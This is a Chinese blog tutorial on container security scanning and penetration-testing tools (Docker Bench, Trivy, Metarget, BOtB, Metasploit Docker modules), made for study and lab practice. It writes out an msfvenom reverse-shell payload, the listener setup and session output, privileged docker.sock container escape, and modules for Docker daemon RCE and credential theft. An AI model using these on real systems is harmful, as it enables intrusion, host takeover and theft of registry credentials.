当前位置: 首页 > news >正文

容器安全检测和渗透测试工具

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

Docker-bench-security

Docker Bench for Security 是一个脚本,用于自动化检查在生产中部署 Docker 容器的数十种常见最佳实践,比如主机配置的安全性、Docker deamon配置的安全性、容器镜像和构建的安全性等。

项目地址

https://github.com/docker/docker-bench-security

使用测试

在主机上下载并执行自动化脚本

git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh

脚本自动化检测当前主机的容器安全性,并将检测到的信息输出到终端,对于检测到的不安全的内容,会以[warn]提示,并在最后给出测评的分数.

2. trivy

简介

trivy是一个由asuz公司开源的简单而全面的扫描器,用于检测容器镜像、文件系统和 Git 存储库中的漏洞以及配置问题。 Trivy 检测操作系统包(Alpine、RHEL、CentOS 等)和特定语言包(Bundler、Composer、npm、yarn 等)的漏洞。此外,Trivy 会扫描基础设施即代码 (IaC) 文件,例如 Terraform、Dockerfile 和 Kubernetes,以检测使您的部署面临攻击风险的潜在配置问题。

项目地址

https://github.com/aquasecurity/trivy

使用测试

wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz
tar -zxvf trivy_0.21.2_Linux-64bit.tar.gz
./trivy image alpine:3.10.7

3. Metarget

简介

Metarget的名称来源于meta-(元)加target(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!。

项目地址

https://github.com/Metarget/metarget

使用测试

  • 安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip install -r requirements.txt
  • 使用
./metarget cnv install cve-2019-5736
./metarget appv install dvwa --external

4. BOtB

简介:

BOtB是由Chris Le Roy开源的容器安全分析和脆弱点利用工具,使用go语言开发,它能够辅助环境探测,还能够利用CVE-2019-5736、Docker Socket或特权模式进行容器逃逸。还有识别K8s的密钥并使用、将数据推送到 S3 存储桶等功能

项目地址:

https://github.com/brompwnie/botb

使用测试:

docker run -itd -v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu /bin/bash
docker exec -it test2 /bin/bash
apt update && apt install -y curl
curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64" -o "botb-linux-amd64" \
&& chmod +x botb-linux-amd64

在容器中执行命令,使用特权模式进行容器逃逸

利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell:

5. Metaspliot

在metaspliot中搜索关于docker的模块有以下几种,

msf6 > search docker
​
Matching Modules
================
​#   Name                                                    Disclosure Date  Rank       Check  Description-   ----                                                    ---------------  ----       -----  -----------0   auxiliary/gather/saltstack_salt_root_key                2020-04-30       normal     No     SaltStack Salt Master Server Root Key Disclosure1   auxiliary/scanner/http/docker_version                                    normal     No     Docker Server Version Scanner2   exploit/linux/http/dcos_marathon                        2017-03-03       excellent  Yes    DC/OS Marathon UI Docker Exploit3   exploit/linux/http/docker_daemon_tcp                    2017-07-25       excellent  Yes    Docker Daemon - Unprotected TCP Socket Exploit4   exploit/linux/http/rancher_server                       2017-07-27       excellent  Yes    Rancher Server - Docker Exploit5   exploit/linux/local/docker_daemon_privilege_escalation  2016-06-28       excellent  Yes    Docker Daemon Privilege Escalation6   exploit/linux/local/docker_privileged_container_escape  2019-07-17       normal     Yes    Docker Privileged Container Escape7   exploit/linux/misc/saltstack_salt_unauth_rce            2020-04-30       great      Yes    SaltStack Salt Master/Minion Unauthenticated RCE8   exploit/windows/local/docker_credential_wincred         2019-07-05       manual     Yes    Docker-Credential-Wincred.exe Privilege Escalation9   post/linux/gather/checkcontainer                                         normal     No     Linux Gather Container Detection10  post/linux/gather/enum_containers                                        normal     No     Linux Container Enumeration11  post/multi/gather/docker_creds                                           normal     No     Multi Gather Docker Credentials Collection
​
​
Interact with a module by name or index. For example info 11, use 11 or use post/multi/gather/docker_creds   

5.1 exploit/multi/handler

注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell:

在本地测试环境中,首先生成一个反弹shell:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1 lport=10000 -f elf -o reverse_shell

然后创建容器把反弹shell放进去,

docker cp ./reverse_shell e51242b34b04:/

接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter:

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
​
msf6 exploit(multi/handler) > set LHOST 192.168.21.130
LHOST => 192.168.21.130
​
msf6 exploit(multi/handler) > set LPORT 10000
LPORT => 10000
msf6 exploit(multi/handler) > run
​
[*] Started reverse TCP handler on 192.168.21.130:10000 
[*] Sending stage (3008420 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.21.130:10000 -> 172.17.0.2:45290) at 2021-12-04 08:02:50 -0500
​
meterpreter > 

这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。

5.2 docker_version

地址:https://github.com/rapid7/metas

功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。

原理:向Docker Daemon监听的2375端口发起请求。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:

在本地Docker测试环境中,先vi /usr/lib/systemd/system/docker.service修改 [Service]的ExecStart,增加 -H tcp://0.0.0.0:2375开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描:

msf6 > use auxiliary/scanner/http/docker_version
msf6 auxiliary(scanner/http/docker_version) > show options
​
Module options (auxiliary/scanner/http/docker_version):
​Name     Current Setting  Required  Description----     ---------------  --------  -----------Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT    2375             yes       The target port (TCP)SSL      false            no        Negotiate SSL/TLS for outgoing connectionsTHREADS  1                yes       The number of concurrent threads (max one per host)VHOST                     no        HTTP server virtual host
​
msf6 auxiliary(scanner/http/docker_version) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/docker_version) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/docker_version) > exploit
​
[*] Identifying Docker Server Version on 127.0.0.1:2375       
[+] [Docker Server] Version: 20.10.11
[*] All info: {"Platform"=>{"Name"=>"Docker Engine - Community"}, "Components"=>[{"Name"=>"Engine", "Version"=>"20.10.11", "Details"=>{"ApiVersion"=>"1.41", "Arch"=>"amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "KernelVersion"=>"5.10.0-kali3-amd64", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}, {"Name"=>"containerd", "Version"=>"1.4.12", "Details"=>{"GitCommit"=>"7b11cfaabd73bb80907dd23182b9347b4245eb5d"}}, {"Name"=>"runc", "Version"=>"1.0.2", "Details"=>{"GitCommit"=>"v1.0.2-0-g52b36a2"}}, {"Name"=>"docker-init", "Version"=>"0.19.0", "Details"=>{"GitCommit"=>"de40ad0"}}], "Version"=>"20.10.11", "ApiVersion"=>"1.41", "MinAPIVersion"=>"1.12", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"5.10.0-kali3-amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5.3 exploit/linux/http/docker_daemon_tcp

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb

功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。

原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:我们先开启Docker守护进程的TCP socket监听,然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可

5.4 post/linux/gather/checkcontainer

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/checkcontainer.rb

功能:检测目标环境是否为容器。

原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:run post/linux/gather/checkcontainer

5.5 post/linux/gather/enum_protections

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_protections.rb

功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。

原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下:

def aslr_enabled?aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip(aslr.eql?('1') || aslr.eql?('2'))rescueraise 'Could not determine ASLR status'end

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:

5.6 post/multi/gather/docker_creds

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/gather/docker_creds.rb

功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。

原理:读取.docker/config.json文件。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可,:

5.7 其他

  • exploit/linux/http/rancher_server
    利用 Rancher Server,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/http/dcos_marathon
    利用 DCOS Cluster's Marathon UI,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/local/docker_daemon_privilege_escalation
    当拿到目标宿主机上的一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就能够借助Docker守护进程提升权限。
  • exploit/linux/local/docker_privileged_container_escape
    当docker以特权模式启动时,该模块可以通过利用特权模式使容器从宿主机中逃逸
  • exploit/linux/local/docker_runc_escape
    该模块利用 runc 中的一个缺陷 (CVE-2019-5736),通过覆盖runc文件,帮助容器逃逸

相关文章:

容器安全检测和渗透测试工具

《Java代码审计》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484219&idx1&sn73564e316a4c9794019f15dd6b3ba9f6&chksmc0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene21#wechat_redirect Docker-bench-…...

视频修复技术和实时在线处理

什么是视频修复&#xff1f; 视频修复技术的目标是填补视频中的缺失部分&#xff0c;使视频内容连贯合理。这项技术在对象移除、视频修复和视频补全等领域有着广泛的应用。传统方法通常需要处理整个视频&#xff0c;导致处理速度慢&#xff0c;难以满足实时处理的需求。 技术发…...

MyBatis——#{} 和 ${} 的区别和动态 SQL

1. #{} 和 ${} 的区别 为了方便&#xff0c;接下来使用注解方式来演示&#xff1a; #{} 的 SQL 语句中的参数是用过 ? 来起到类似于占位符的作用&#xff0c;而 ${} 是直接进行参数替换&#xff0c;这种直接替换的即时 SQL 就可能会出现一个问题 当传入一个字符串时&#xff…...

学习日志014--用python实现顺序表

之前我们用c语言实现顺序表&#xff0c;今天就然我们用python来复习一遍 一、创建顺序表 python的类可以代替c中的结构体作为复合数据类型。 创建学生类&#xff0c;并用装饰器将方法属性化&#xff0c;便于之后的修改。属性装饰器&#xff0c;可以在保护私有属性&#xff0…...

Android ConstraintLayout 基础

Android ConstraintLayout 基础 屏障线 Barrier设置水平和垂直方向的约束关系长宽比链式结构组站位辅助线 参考地址 屏障线 Barrier 以下是使用 ConstraintLayout 在 Android 中实现简单屏障线&#xff08;Barrier&#xff09;使用的示例代码&#xff0c;主要步骤如下&#xf…...

Ubuntu22.04LTS 部署前后端分离项目

一、安装mysql8.0 1. 安装mysql8.0 # 更新安装包管理工具 sudo apt-get update # 安装 mysql数据库&#xff0c;过程中的选项选择 y sudo apt-get install mysql-server # 启动mysql命令如下 &#xff08;停止mysql的命令为&#xff1a;sudo service mysql stop&#xff0…...

【网站推荐】the top trending open-source startups, every quarter

每季度最热门的开源初创公司 我们根据 GitHub 存储库自 2020 年以来的明星增长情况发布热门开源项目&#xff0c;并将其称为 Runa 开源初创公司 (ROSS) 指数。 una Capital actively invests in open-source startups (like Nginx and MariaDB) and considers an active deve…...

Java通过calcite实时读取kafka中的数据

引入maven依赖 <dependency> <groupId>org.apache.calcite</groupId> <artifactId>calcite-kafka</artifactId> <version>1.28.0</version> </dependency> 测试代码 import java.sql.Connection; import java.sql.DriverMan…...

el-table 数据去重后合并表尾合计行,金额千分位分割并保留两位小数,表尾合计行表格合并

问题背景 最近在做后台管理项目el-table 时候需要进行表尾合计&#xff0c;修改合计后文字的样式&#xff0c;合并单元格。 想实现的效果 合并表尾单元格前三列为1格&#xff1b;对某些指定的单元格进行表尾合计&#xff1b;合计后的文本样式加粗&#xff1b;涉及到金额需要千…...

Flutter:RotationTransition旋转动画

配置vsync&#xff0c;需要实现一下with SingleTickerProviderStateMixinclass _MyHomePageState extends State<MyHomePage> with SingleTickerProviderStateMixin{// 定义 AnimationController late AnimationController _controller;overridevoid initState() {super…...

《Python浪漫的烟花表白特效》

一、背景介绍 烟花象征着浪漫与激情&#xff0c;将它与表白结合在一起&#xff0c;会创造出别具一格的惊喜效果。使用Python的turtle模块&#xff0c;我们可以轻松绘制出动态的烟花特效&#xff0c;再配合文字表白&#xff0c;打造一段专属的浪漫体验。 接下来&#xff0c;让…...

Java面试题分享

1、hashmap的底层设计原理以及扩容规则&#xff0c;是否线程安全&#xff0c;如何线程安全。 jdk1.7以前采用数组加链表结构通过键哈希确定数组下标存键值对。jdk1.8及以后采用数组加链表加红黑树&#xff0c;链表超阈值且数组满足条件会转红黑树&#xff0c;哈希函数先取键 h…...

定时器的小应用

第一个项目 第一步&#xff0c;RCC开启时钟&#xff0c;这个基本上每个代码都是第一步&#xff0c;不用多想&#xff0c;在这里打开时钟后&#xff0c;定时器的基准时钟和整个外设的工作时钟就都会同时打开了 RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE);第二步&…...

【计算机网络】UDP协议

一、UDP协议格式 1.报头的含义 ① 16位源端口号&#xff1a;自己的端口号 ② 16位目的端口号&#xff1a;对方的端口号 ③ 16位UDP长度&#xff1a;整个数据报(UDP报头UDP有效载荷)的长度&#xff0c;最大64KB 一个UDP最多传64KB的数据&#xff0c;如果要传的数据 > 64K…...

vulhub之log4j

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 漏洞简介 Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 Apache Log4j 在应用程序中添加日志记录最…...

[Unity] 关于引入Google SDK以及使用的方法

在Unity中接入谷歌SDK&#xff08;如Google Play Games SDK或Firebase SDK等&#xff09;通常涉及几个关键步骤&#xff0c;包括下载SDK、导入Unity项目、配置项目设置、编写必要的代码以及测试集成。以下是一个基于Firebase SDK接入Unity的示例&#xff0c;同时涵盖了Google P…...

集群聊天服务器(13)redis环境安装和发布订阅命令

目录 环境安装订阅redis发布-订阅的客户端编程环境配置客户端编程 功能测试 环境安装 sudo apt-get install redis-server 先启动redis服务 /etc/init.d/redis-server start默认在6379端口上 redis是存键值对的&#xff0c;还可以存链表、数组等等复杂数据结构 而且数据是在…...

第R4周:LSTM-火灾温度预测(pytorch版)

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营]中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊]** 往期文章可查阅&#xff1a; 深度学习总结 任务说明&#xff1a;数据集中提供了火灾温度&#xff08;Tem1&#xff09;、一氧化碳浓度…...

基于SpringBoot和uniapp开发的医护上门系统上门护理小程序

项目分析 一、市场需求分析 人口老龄化趋势&#xff1a;随着全球及中国人口老龄化的加剧&#xff0c;老年人口数量显著增加&#xff0c;对医疗护理服务的需求也随之增长。老年人由于身体机能下降&#xff0c;更需要便捷、高效的医护服务&#xff0c;而医护上门服务恰好满足了这…...

js批量输入地址获取经纬度

使用js调用高德地图的接口批量输入地址获取经纬度。 以下的请求接口的key请换成你的key。 创建key&#xff1a;我的应用 | 高德控制台 &#xff0c;服务平台选择《Web服务》。 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-…...

Python自动化测试实践中pytest用到的功能dependency和parametrize

Python自动化测试中pytest用到的功能 1、pytest之@pytest.mark.dependency装饰器设置测试用例之间的依赖关系 1.1说明: 1、这是一个pytest第三方插件,主要解决用例之间的依赖关系。如果依赖的上下文测试用例失败后续的用例会被标识为跳过执行,相当于执行了 pytest.mark.s…...

json-bigint处理前端精度丢失问题

问题描述&#xff1a;前后端调试过程中&#xff0c;有时候会遇到精度丢失的问题&#xff0c;比如后端给过来的id超过16位&#xff0c;就会出现精度丢失的情况&#xff0c;前端拿到的id与后端给过来的不一致。 解决方案&#xff1a; 1、安装 npm i json-bigint 2、在axios中配置…...

神经网络10-Temporal Fusion Transformer (TFT)

Temporal Fusion Transformer (TFT) 是一种专为时序数据建模而设计的深度学习模型&#xff0c;它结合了Transformer架构和其他技术&#xff0c;旨在有效地处理和预测时序数据中的复杂模式。TFT 于 2020 年由 Google Research 提出&#xff0c;旨在解决传统模型在时序预测中的一…...

django基于django的民族服饰数据分析系统的设计与实现

摘 要 随着网络科技的发展&#xff0c;利用大数据分析对民族服饰进行管理已势在必行&#xff1b;该平台将帮助企业更好地理解服饰市场的趋势&#xff0c;优化服装款式&#xff0c;提高服装的质量。 本文讲述了基于python语言开发&#xff0c;后台数据库选择MySQL进行数据的存储…...

html数据类型

数据类型是字面含义&#xff0c;表示各种数据的类型。在任何语言中都存在数据类型&#xff0c;因为数据是各式各样。 1.数值类型 number let a 1; let num 1.1; // 整数小数都是数字值 ​ // 数字肯定有个范围 正无穷大和负无穷大 // Infinity 正无穷大 // -Infinity 负…...

Springboot启动异常 错误: 找不到或无法加载主类 xxx.Application异常

Springboot启动异常 错误: 找不到或无法加载主类 xxx.Application异常 报错提示 Connected to the target VM, address: 127.0.0.1:57210, transport: socket 错误:找不到或无法加载主类 global.hh.manage.HHMicroCloudProviderApplication Disconnected from the target VM, …...

哋它亢SEO技术分析:如何提升网站在搜索引擎中的可见性

文章目录 哋它亢SEO技术分析&#xff1a;如何提升网站在搜索引擎中的可见性网站的基本情况SEO优化分析与建议1. 元数据优化2. 关键词优化3. URL结构4. 图像优化5. 移动端优化6. 网站速度7. 结构化数据&#xff08;Schema Markup&#xff09;8. 内链与外链9. 社交分享 哋它亢SEO…...

web——upload-labs——第十一关——黑名单验证,双写绕过

还是查看源码&#xff0c; $file_name str_ireplace($deny_ext,"", $file_name); 该语句的作用是&#xff1a;从 $file_name 中去除所有出现在 $deny_ext 数组中的元素&#xff0c;替换为空字符串&#xff08;即删除这些元素&#xff09;。str_ireplace() 在处理时…...

ElasticSearch7.x入门教程之中文分词器 IK(二)

文章目录 前言一、内置分词器二、中文IK分词器&#xff08;第三方&#xff09;三、本地自定义四、远程词库总结 前言 ElasticSearch 核心功能就是数据检索&#xff0c;首先通过索引将文档写入 es。 查询分析则主要分为两个步骤&#xff1a; 1、词条化&#xff1a;分词器将输入…...

体积全息及平面全息图的衍射效率

一、体积全息 当记录材料的厚度是条纹间距的若干倍时&#xff0c;则在记录材料体积内将记录下干涉全息图的三维空间分布&#xff0c;就形成了体积全息。 按物光和参考光入射方向和再现方式的不同体积全息可以分为两种。 一种是物光和参考光在记录介质的同一侧入射&#xff0c;得…...

【常用组件整理】

xgplayer 字节开发的前端视频播放器 xgplayer是一个由字节跳动开发的强大的前端视频播放器&#xff0c;具有稳定性高、文档清晰、支持弹幕和移动端优化 等特点。相较于VideoJs&#xff0c;xgplayer的文档更简洁&#xff0c;自定义插件更为便捷。xgplayer还提供了丰富的插件来扩…...

用指针函数寻找数组中的最大值与次大值

#include <stdio.h>// 函数用于找出数组中的最大值和次大值 void LargestTow(int a[], int n, int *pfirst, int *psecond) {*pfirst a[0];*psecond a[1];if (*psecond > *pfirst) {// 如果初始的次大值大于最大值&#xff0c;交换它们int temp *pfirst;*pfirst *…...

原生微信小程序在顶部胶囊左侧水平设置自定义导航兼容各种手机模型

无论是在什么手机机型下&#xff0c;自定义的导航都和右侧的胶囊水平一条线上。如图下 以上图iphone12&#xff0c;13PRo 以上图是没有带黑色扇帘的机型 以下是调试器看的wxml的代码展示 注意&#xff1a;红色阔里的是自定义导航&#xff08;或者其他的logo啊&#xff0c;返回之…...

Android Gradle自定义任务在打包任务执行完成后执行cmd命令

背景 在每次打包之后需要做某事&#xff0c;例如每次打包后我都会安装某个目录下的一个apk。这个apk是通过一堆shell命令过滤得到一个apk的地址&#xff0c;然后把执行的几个shell命令何必成一个alias指令&#xff0c;在打包后只需要执行alias指令实现功能。当然也可以直接写在…...

http自动发送请求工具(自动化测试http请求)

点击下载《http自动发送请求工具(自动化测试http请求)》 前言 在现代软件开发过程中&#xff0c;HTTP 请求的自动化测试是确保应用程序稳定性和可靠性的关键环节。为了满足这一需求&#xff0c;我开发了一款功能强大且易于使用的自动化 HTTP 请求发送工具。该工具基于 C# 开发…...

解决Docker环境变量的配置的通用方法

我们部署的很多服务都是以Docker容器的形式存在的。 在运行Docker容器前&#xff0c;除了设置网络、数据卷之外&#xff0c;还需要设置各种各样的环境变量。 有时候&#xff0c;由于容器版本的问题&#xff0c;一些文档没有及时更新&#xff0c;可能同时存在多个新旧版本的环…...

SpringBoot3整合Hutool-captcha实现图形验证码

文章目录 验证码需求分析:项目创建import方式的使用说明exclude方式定义接口:接口定义定义 CaptchaController前端代码在整合技术框架的时候,想找一个图形验证码相关的框架,看到很多验证码不在更新了或者是在中央仓库下载不下来,还需要多引入依赖。后面看到了Hutool **图形…...

Spring Boot核心概念:日志管理

日志记录是软件开发的重要组成部分&#xff0c;它帮助开发人员了解应用程序运行时的状态&#xff0c;以及在故障排查和性能监控时提供关键信息。Spring Boot通过提供默认的日志配置&#xff0c;简化了日志管理。 Spring Boot默认日志框架 Spring Boot默认使用Logback作为日志…...

selenium grid 远程webdriver添加上网代理

################## selenium grid config start ####################### # UI自动化测试策略 Grid/Local UIAutomation_TestStrategy Grid selenium_grid_url http://172.16.99.131:4444/wd/hub # Windows XP / linux grid_platformName linux # windows capabilities win…...

Flutter踩坑记录(一)debug运行生成的项目,不能手动点击运行

问题 IOS14设备&#xff0c;切后台划掉&#xff0c;二次启动崩溃。 原因 IOS14以上 flutter 不支持debugger模式下的二次启动 。 要二次启动需要以release方式编译工程安装至手机。 操作步骤 清理项目&#xff1a;在命令行中运行flutter clean来清理之前的构建文件。重新构…...

Spring Boot 项目 myblog 整理

myblog 项目是一个典型的 Spring Boot 项目&#xff0c;主要包括用户注册、登录、文章管理&#xff08;创建、查询、更新、删除&#xff09;等功能。 1. 项目结构与依赖设置 项目初始化与依赖 使用 Spring Initializr 创建项目。引入必要的依赖包&#xff1a; Spring Boot W…...

【前端知识】nodejs项目配置package.json深入解读

package.json详细解读 文件解读一、文件结构二、字段详解三、使用场景四、注意事项 组件版本匹配规则 文件解读 package.json 文件是 Node.js 项目中的一个核心配置文件&#xff0c;它位于项目的根目录下&#xff0c;并包含项目的基本信息、依赖关系、脚本、版本等内容。以下是…...

51c嵌入式~IO合集2

我自己的原文哦~ https://blog.51cto.com/whaosoft/11697814 一、STM32串口通信基本原理 通信接口背景知识 设备之间通信的方式 一般情况下&#xff0c;设备之间的通信方式可以分成并行通信和串行通信两种。并行与串行通信的区别如下表所示。 串行通信的分类 1、按照数据传…...

在应用启动时,使用 UniApp 提供的 API 检查和请求权限。

在使用 UniApp 开发 App 时&#xff0c;如果你需要在应用启动时提示用户获取本地媒体权限&#xff0c;可以按照以下步骤操作&#xff1a; 1. 明确需要的权限 要访问本地媒体&#xff08;如相机、麦克风或文件存储&#xff09;&#xff0c;需要申请以下权限&#xff1a; Andr…...

前端知识点---伪数组是什么 , 伪数组如何转换为真数组(Javascript)

伪数组是什么 , 伪数组如何转换为真数组(Javascript) 在 JavaScript 中&#xff0c;伪数组对象是具有类似数组特性的对象&#xff0c;但并不是数组&#xff08;即不继承 Array.prototype&#xff09;。这些对象通常有一个 length 属性以及以数字索引为键的属性&#xff0c;但不…...

嵌入式 UI 开发的开源项目推荐

嵌入式开发 UI 难吗&#xff1f;你的痛点我懂&#xff01;作为嵌入式开发者&#xff0c;你是否也有以下困扰&#xff1f;设备资源太少&#xff0c;功能和美观只能二选一&#xff1f;调试效率低&#xff0c;每次调整都要反复烧录和测试&#xff1f;开发周期太长&#xff0c;让你…...

《智能指针频繁创建销毁:程序性能的“隐形杀手”》

在 C编程的世界里&#xff0c;智能指针无疑是管理内存资源的得力助手。它们为我们自动处理内存的分配与释放&#xff0c;极大地减少了因手动管理内存而可能引发的诸如内存泄漏、悬空指针等棘手问题。然而&#xff0c;就像任何工具都有其两面性一样&#xff0c;智能指针在带来便…...

28.<Spring博客系统⑤(部署的整个过程(CentOS))>

引入依赖 Spring-boot-maven-plugin 用maven进行打包的时候必须用到这个插件。看看自己pom.xml中有没有这个插件 并且看看配置正确不正常。 注&#xff1a;我们这个项目打的jar包在30MB左右。 <plugin><groupId>org.springframework.boot</groupId><artif…...

mongodb多表查询,五个表查询

需求是这样的&#xff0c;而数据是从mysql导入进来的&#xff0c;由于mysql不支持数组类型的数据&#xff0c;所以有很多关联表。药剂里找药物&#xff0c;需要药剂与药物的关联表&#xff0c;然后再找药物表。从药物表里再找药物与成分关联表&#xff0c;最后再找成分表。 这里…...

服务器端渲染 (SSR) 与客户端渲染 (CSR)

嘿程序员&#xff01;我们都知道&#xff0c;新时代的 Javascript 已经彻底改变了现代网站的结构和用户体验。如今&#xff0c;网站的构建更像是一个应用程序&#xff0c;伪装成一个能够发送电子邮件、通知、聊天、购物、支付等的网站。今天的网站是如此先进、互动&#xff0c;…...